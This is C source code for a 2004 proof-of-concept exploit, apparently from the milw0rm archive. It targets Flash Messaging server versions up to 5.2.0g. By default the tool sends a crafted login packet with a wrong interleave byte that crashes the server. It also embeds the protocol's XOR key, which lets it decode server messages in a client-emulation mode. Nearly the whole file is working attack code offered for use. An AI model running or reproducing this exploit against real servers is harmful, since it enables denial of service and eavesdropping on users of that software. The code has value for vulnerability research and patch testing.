/*
by Luigi Auriemma
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
/*
Show_dump 0.1
Copyright 2004 Luigi Auriemma
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
http://www.gnu.org/licenses/gpl.txt
function to show the hex dump of a buffer
Usage:
to show the hex dump on the screen:
show_dump(buffer, buffer_length, stdout);
to write the hex dump in a file or other streams:
show_dump(buffer, buffer_length, fd);
(if you know C you know what FILE *stream means 8-)
*/
void show_dump(unsigned char *buff, unsigned long buffsz, FILE *stream) {
const char *hex = "0123456789abcdef";
unsigned char buffout[68],
*pout,
*p1,
*p2,
i,
rest;
p1 = buff;
p2 = buff;
while(buffsz) {
pout = buffout;
if(buffsz < 16) rest = buffsz;
else rest = 16;
for(i = 0; i < rest; i++, p1++) {
*pout++ = hex[*p1 >> 4];
*pout++ = hex[*p1 & 0xf];
*pout++ = 0x20;
}
for(i = pout - buffout; i < 50; i++, pout++) *pout = 0x20;
for(i = 0; i < rest; i++, p2++, pout++) {
if(*p2 >= 0x20) *pout = *p2;
else *pout = 0x2e;
}
*pout++ = 0x0a;
*pout = 0x00;
fputs(buffout, stream);
buffsz -= rest;
}
}
#ifdef WIN32
#include <winsock.h>
/*
Header file used for manage errors in Windows
It support socket and errno too
(this header replace the previous sock_errX.h)
*/
#include <string.h>
#include <errno.h>
void std_err(void) {
char *error;
switch(WSAGetLastError()) {
case 10004: error = "Interrupted system call"; break;
case 10009: error = "Bad file number"; break;
case 10013: error = "Permission denied"; break;
case 10014: error = "Bad address"; break;
case 10022: error = "Invalid argument (not bind)"; break;
case 10024: error = "Too many open files"; break;
case 10035: error = "Operation would block"; break;
case 10036: error = "Operation now in progress"; break;
case 10037: error = "Operation already in progress"; break;
case 10038: error = "Socket operation on non-socket"; break;
case 10039: error = "Destination address required"; break;
case 10040: error = "Message too long"; break;
case 10041: error = "Protocol wrong type for socket"; break;
case 10042: error = "Bad protocol option"; break;
case 10043: error = "Protocol not supported"; break;
case 10044: error = "Socket type not supported"; break;
case 10045: error = "Operation not supported on socket"; break;
case 10046: error = "Protocol family not supported"; break;
case 10047: error = "Address family not supported by protocol family"; break;
case 10048: error = "Address already in use"; break;
case 10049: error = "Can't assign requested address"; break;
case 10050: error = "Network is down"; break;
case 10051: error = "Network is unreachable"; break;
case 10052: error = "Net dropped connection or reset"; break;
case 10053: error = "Software caused connection abort"; break;
case 10054: error = "Connection reset by peer"; break;
case 10055: error = "No buffer space available"; break;
case 10056: error = "Socket is already connected"; break;
case 10057: error = "Socket is not connected"; break;
case 10058: error = "Can't send after socket shutdown"; break;
case 10059: error = "Too many references, can't splice"; break;
case 10060: error = "Connection timed out"; break;
case 10061: error = "Connection refused"; break;
case 10062: error = "Too many levels of symbolic links"; break;
case 10063: error = "File name too long"; break;
case 10064: error = "Host is down"; break;
case 10065: error = "No Route to Host"; break;
case 10066: error = "Directory not empty"; break;
case 10067: error = "Too many processes"; break;
case 10068: error = "Too many users"; break;
case 10069: error = "Disc Quota Exceeded"; break;
case 10070: error = "Stale NFS file handle"; break;
case 10091: error = "Network SubSystem is unavailable"; break;
case 10092: error = "WINSOCK DLL Version out of range"; break;
case 10093: error = "Successful WSASTARTUP not yet performed"; break;
case 10071: error = "Too many levels of remote in path"; break;
case 11001: error = "Host not found"; break;
case 11002: error = "Non-Authoritative Host not found"; break;
case 11003: error = "Non-Recoverable errors: FORMERR, REFUSED, NOTIMP"; break;
case 11004: error = "Valid name, no data record of requested type"; break;
default: error = strerror(errno); break;
}
fprintf(stderr, "\nError: %s\n", error);
exit(1);
}
#define close closesocket
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <netinet/in.h>
#endif
#define VER "0.1"
#define PORT 645
#define BUFFSZ 8192
#define TIMEOUT 3
#define LOGIN "\xd1" "3" \
"\xd1" "1" \
"\xd1" "10/07/2004" /* date */ \
"\xd1" "00.00.00" /* time (hh.mm.ss) */ \
"\xd1" \
"\xd1" \
"\xd1" "%s" /* nickname */ \
"\xd1" \
"\xd1" "000000" \
"\xd1"
int timeout(int sock);
void flashmsg_algo(u_char *data, int len);
u_long resolv(char *host);
void std_err(void);
int main(int argc, char *argv[]) {
struct sockaddr_in peer;
int sd,
i,
len,
nonull = 0,
chr = 0x69;
/* the normal chr must be 0x00, and if it is different */
/* causes the immediate crash of the server */
u_short port = PORT;
u_char buff[BUFFSZ],
pck[BUFFSZ >> 1],
*p,
*nickname = "crash";
setbuf(stdout, NULL);
fputs("\n"
"Flash Messaging <= 5.2.0g (rev 1.1.2) server crash and decoder "VER"\n"
"by Luigi Auriemma\n"
"e-mail: aluigi@altervista.org\n"
"web: http://aluigi.altervista.org\n"
"\n", stdout);
if(argc < 2) {
printf("\n"
"Usage: %s [options] <server>\n"
"\n"
"Options:\n"
"-p PORT specify the server port (default %d)\n"
"-s NICK this tool will act as a client emulator and will show any decoded\n"
" message or command sent by the server to you.\n"
" You must also specify the nickname you wanna use\n"
" By default this tool is a proof-of-concept ables to crash the server\n"
"-n use this option to see any server data in a more comprehensible text\n"
" format. By default any data block is showed in hexadecimal mode\n"
"\n", argv[0], PORT);
exit(1);
}
argc--;
for(i = 1; i < argc; i++) {
switch(argv[i][1]) {
case 'p': port = atoi(argv[++i]); break;
case 's': {
chr = 0x00;
nickname = argv[++i];
} break;
case 'n': nonull = 1; break;
default: {
printf("\nError: wrong command-line argument (%s)\n\n", argv[i]);
exit(1);
}
}
}
#ifdef WIN32
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif
peer.sin_addr.s_addr = resolv(argv[argc]);
peer.sin_port = htons(port);
peer.sin_family = AF_INET;
sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if(sd < 0) std_err();
printf("- target %s:%hu\n",
inet_ntoa(peer.sin_addr),
port);
if(connect(sd, (struct sockaddr *)&peer, sizeof(peer))
< 0) std_err();
fputs("- prepare login data\n", stdout);
len = snprintf(
pck,
sizeof(pck) - 1,
LOGIN,
nickname);
if((len < 0) || (len > sizeof(pck))) {
fputs("\nError: the nickname you have inserted is longer than my buffer\n\n", stdout);
exit(1);
}
p = buff;
for(i = 0; i < len; i++) {
*p++ = pck[i];
*p++ = chr;
}
len <<= 1;
flashmsg_algo(buff, len);
fputs("- send login data\n", stdout);
if(send(sd, buff, len, 0)
< 0) std_err();
if(chr) {
fputs("- check server\n", stdout);
if((timeout(sd) < 0) || ((len = recv(sd, buff, BUFFSZ, 0)) <= 0)) {
fputs("\nServer IS vulnerable!!!\n\n", stdout);
} else {
fputs("\nServer doesn't seem vulnerable, check its decoded reply:\n", stdout);
show_dump(buff, len, stdout);
}
} else {
for(;;) {
len = recv(sd, buff, BUFFSZ, 0);
if(len < 0) std_err();
if(!len) break;
flashmsg_algo(buff, len);
if(nonull) {
p = buff;
for(i = 0; i < len; i += 2, p++) {
*p = buff[i];
if(*p == 0xd1) *p = '\n'; // 0xd1 = delimiter
}
*p = 0x00;
printf("\n--------------------\n%s", buff);
} else {
fputc('\n', stdout);
show_dump(buff, len, stdout);
}
}
}
close(sd);
return(0);
}
void flashmsg_algo(u_char *data, int len) {
int i;
const static u_char encdata[] =
"ScratchIt" "YouFool";
for(i = 0; i < len; i++) {
*data++ ^= encdata[i & 15] - 38;
*data++ ^= 38;
}
}
int timeout(int sock) {
struct timeval tout;
fd_set fd_read;
int err;
tout.tv_sec = TIMEOUT;
tout.tv_usec = 0;
FD_ZERO(&fd_read);
FD_SET(sock, &fd_read);
err = select(sock + 1, &fd_read, NULL, NULL, &tout);
if(err < 0) std_err();
if(!err) return(-1);
return(0);
}
u_long resolv(char *host) {
struct hostent *hp;
u_long host_ip;
host_ip = inet_addr(host);
if(host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if(!hp) {
printf("\nError: Unable to resolve hostname (%s)\n", host);
exit(1);
} else host_ip = *(u_long *)hp->h_addr;
}
return(host_ip);
}
#ifndef WIN32
void std_err(void) {
perror("\nError");
exit(1);
}
#endif
// milw0rm.com [2004-03-02]
